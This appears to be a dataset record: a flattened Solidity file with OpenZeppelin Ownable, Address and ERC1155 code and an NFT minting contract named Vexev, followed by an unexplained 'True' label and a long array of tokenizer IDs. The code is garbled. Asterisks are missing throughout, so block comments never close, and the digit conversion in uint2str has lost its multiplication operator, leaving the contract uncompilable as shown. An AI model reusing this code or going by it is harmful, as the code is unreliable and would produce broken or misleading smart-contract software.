"Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; /* * @dev _Available since v3.1._ / interface IERC1155Receiver is IERC165 { /* * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed / function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /* * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed / function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ / interface IERC1155 is IERC165 { /* * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. / event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /* * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. / event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /* * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. / event ApprovalForAll(address indexed account, address indexed operator, bool approved); /* * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. / event URI(string value, uint256 indexed id); /* * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. / function balanceOf(address account, uint256 id) external view returns (uint256); /* * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. / function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /* * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. / function setApprovalForAll(address operator, bool approved) external; /* * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. / function isApprovedForAll(address account, address operator) external view returns (bool); /* * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. / function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /* * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. / function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; /* * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ / interface IERC1155MetadataURI is IERC1155 { /* * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. / function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ / contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * @dev See {_setURI}. / constructor(string memory uri_) { _setURI(uri_); } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId \|\| interfaceId == type(IERC1155MetadataURI).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for all token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. / function uri(uint256) public view virtual override returns (string memory) { return _uri; } /* * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. / function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /* * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. / function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /* * @dev See {IERC1155-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC1155-isApprovedForAll}. / function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /* * @dev See {IERC1155-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() \|\| isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /* * @dev See {IERC1155-safeBatchTransferFrom}. / function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() \|\| isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /* * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. / function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /* * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. / function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /* * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. / function _setURI(string memory newuri) internal virtual { _uri = newuri; } /* * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. / function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /* * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. / function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /* * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. / function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /* * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. / function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: Vexev.sol pragma solidity ^0.8.0; // Vexev is an Artstamps project built by Plentefy // @auhtor Kvn "OxygenAryl" Smnck contract Vexev is ERC1155, Ownable { using SafeMath for uint256; using Strings for string; bool public mintClosed = false; bool public moreClosed = true; uint256 public copyMax = 3; uint256 public freeCap = 3000; uint256 public payCap = 7000; uint256 public maxToken = 9999999999999999999999999; uint256 public startPrice = 30000000000000000; // 0.03 ETH uint256 public addonePrice = 20000000000000000; // 0.02 ETH uint256 public addtwoPrice = 10000000000000000; // 0.01 ETH uint256 public midPrice; uint256 public mintPrice; // total price uint256 public freeTot = 0; uint256 public payTot = 0; string public _baseURI = "https://artstamps.io/vexevTokens/"; string public _contractURI = "https://artstamps.io/vexevTokens/contract"; mapping(uint256 => uint256) public totalSupply; mapping(uint256 => uint256) public idPlace; mapping(uint256 => string) public tokenURIs; mapping(address => bool) public freeb; constructor() ERC1155(_contractURI) { } function mintPause(bool valm) public onlyOwner { mintClosed = valm; } function morePause(bool valp) public onlyOwner { moreClosed = valp; } function setCaps (uint256 _capFree, uint256 _capPay, uint256 _maxCop, uint256 _maxToke) public onlyOwner { freeCap = _capFree; payCap = _capPay; copyMax = _maxCop; maxToken = _maxToke; } function Pricing(uint256 _priceStart, uint256 _priceOne, uint256 _priceTwo) public onlyOwner { startPrice = _priceStart; addonePrice = _priceOne; addtwoPrice = _priceTwo; } //Free Public Mint function mintFree(uint256 tokenNumFree) public { require(!mintClosed, "Closed"); require(tokenNumFree <= maxToken, "Pick 25 digit number"); require(freeb[msg.sender] == false, "You already got one free"); require(totalSupply[tokenNumFree] == 0, "Token already chosen"); require(freeTot < freeCap, "No Free Tokens Left"); freeTot = freeTot + 1; idPlace[freeTot] = tokenNumFree; freeb[msg.sender] = true; mintRound(tokenNumFree, 1); } //Paid Public Mint function mintPayMult(uint256 tokenNumPayMult, uint256 copyx) public payable { midPrice = startPrice.add(addonePrice); if (copyx == 1) { mintPrice = startPrice; } else if (copyx == 2) { mintPrice = midPrice; } else if (copyx == 3) { mintPrice = midPrice.add(addtwoPrice); } else if (copyx == 4) { mintPrice = midPrice.add(addtwoPrice).add(addtwoPrice); } else { mintPrice = midPrice.add(addtwoPrice).add(addtwoPrice).add(addtwoPrice); } require(!mintClosed, "Closed"); require(copyx > 0, "must purchase more than 0"); require(copyx < copyMax + 1, "Can't have more copies than max"); require(tokenNumPayMult <= maxToken, "Pick 25 digit number"); require(totalSupply[tokenNumPayMult] == 0, "Token already has a first mint"); require(mintPrice == msg.value, "insufficient ETH"); require(payTot < payCap, "No Paid Tokens Left"); payTot = payTot + 1; idPlace[payTot+10000] = tokenNumPayMult; mintRound(tokenNumPayMult, copyx); } //Paid Public Additional Copies function mintMore(uint256 tokenNumMore, uint256 copym) public payable { midPrice = startPrice.add(addonePrice); mintPrice = midPrice.mul(copym); require(!moreClosed, "Closed"); require(tokenNumMore <= maxToken, "Pick 25 digit number"); require(totalSupply[tokenNumMore] > 0, "Token needs to exist"); require(totalSupply[tokenNumMore] + copym < copyMax + 1, "Can't exceed max tokens"); require(mintPrice == msg.value, "insufficient ETH"); mintRound(tokenNumMore, copym); } //mint a token function mintRound(uint256 tokenNum, uint256 copy) private { if (totalSupply[tokenNum] + copy < copyMax + 1) { totalSupply[tokenNum] = totalSupply[tokenNum] + copy; _mint(msg.sender, tokenNum, copy, "0x0000"); return; } revert("sorry you couldn't find one of the remaining tokens"); } //Artstamp can mint a specific token if there are problems function ownerMint(address to, uint256 id, uint256 copyz) public onlyOwner { require(!mintClosed, "Closed"); if (totalSupply[id] == 0) { payTot = payTot + 1; idPlace[payTot+10000] = id; totalSupply[id] = totalSupply[id] + copyz; } else { totalSupply[id] = totalSupply[id] + copyz; } _mint(to, id, copyz, "0x0000"); } function setBaseURI(string memory newurib) public onlyOwner { _baseURI = newurib; } function setContractURI(string memory newuric) public onlyOwner { _contractURI = newuric; } function uri(uint256 tokenId) public view override returns (string memory) { return string(abi.encodePacked(_baseURI, uint2str(tokenId))); } function tokenURI(uint256 tokenId) public view returns (string memory) { return string(abi.encodePacked(_baseURI, uint2str(tokenId))); } function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len; while (_i != 0) { k = k - 1; uint8 temp = (48 + uint8(_i - (_i / 10) 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function checkSupply(uint256 id) public view virtual returns (uint256) { return totalSupply[id]; } function exists(uint256 id) public view returns (bool) { return totalSupply[id] > 0; } // withdraw some revenue to prepare tax liabilities and mitigate currency and wallet risk :) function withdrawSome(uint256 leaveAmt) public onlyOwner { uint256 withdrawAmt = address(this).balance.sub(leaveAmt); payable(msg.sender).transfer(withdrawAmt); } // withdraw all funds instantly function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 2654, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 7817, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 2620, 2683, 7875, 19797, 12879, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 19884, 1037, 1036, 21318, 3372, 17788, 2575, 1036, 2000, 2049, 2004, 6895, 2072, 1036, 5164, 1036, 26066, 6630, 1012, 1008, 1013, 3853, 2000, 3367, 4892, 1006, 21318, 3372, 17788, 2575, 3643, 1007, 4722, 5760, 5651, 1006, 5164, 3638, 1007, 1063, 1013, 1013, 4427, 2011, 2030, 6305, 3669, 4371, 9331, 2072, 1005, 1055, 7375, 1011, 10210, 11172, 1013, 1013, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2030, 6305, 3669, 4371, 1013, 28855, 14820, 1011, 17928, 1013, 1038, 4135, 2497, 1013, 1038, 20958, 16932, 2575, 2497, 2692, 2575, 2509, 2278, 2581, 2094, 2575, 4402, 17134, 27814, 2620, 21472, 2278, 16147, 2620, 18827, 2575, 21926, 2683, 2063, 2683, 21619, 2692, 2063, 2620, 1013, 2030, 6305, 3669, 4371, 9331, 2072, 1035, 1014, 1012, 1018, 1012, 2423, 1012, 14017, 2065, 1006, 3643, 1027, 1027, 1014, 1007, 1063, 2709, 1000, 1014, 1000, 1025, 1065, 21318, 3372, 17788, 2575, 8915, 8737, 1027, 3643, 1025, 21318, 3372, 17788, 2575, 16648, 1025, 2096, 1006, 8915, 8737, 999, 1027, 1014, 1007, 1063, 16648, 1009, 1009, 1025, 8915, 8737, 1013, 1027, 2184, 1025, 1065, 27507, 3638, 17698, 1027, 2047, 27507, 1006, 16648, 1007, 1025, 2096, 1006, 3643, 999, 1027, 1014, 1007, 1063, 16648, 1011, 1027, 1015, 1025, 17698, 1031, 16648, 1033, 1027, 27507, 2487, 1006, 21318, 3372, 2620, 1006, 4466, 1009, 21318, 3372, 17788, 2575, 1006, 3643, 1003, 2184, 1007, 1007, 1007, 1025, 3643, 1013, 1027, 2184, 1025, 1065, 2709, 5164, 1006, 17698, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 19884, 1037, 1036, 21318, 3372, 17788, 2575, 1036, 2000, 2049, 2004, 6895, 2072, 1036, 5164, 1036, 2002, 18684, 3207, 6895, 9067, 6630, 1012, 1008, 1013, 3853, 2000, 5369, 2595, 3367, 4892, 1006, 21318, 3372, 17788, 2575, 3643, 1007, 4722, 5760, 5651, 1006, 5164, 3638, 1007, 1063, 2065, 1006, 3643, 1027, 1027, 1014, 1007, 1063, 2709, 1000, 1014, 2595, 8889, 1000, 1025, 1065, 21318, 3372, 17788, 2575, 8915, 8737, 1027, 3643, 1025, 21318, 3372, 17788, 2575, 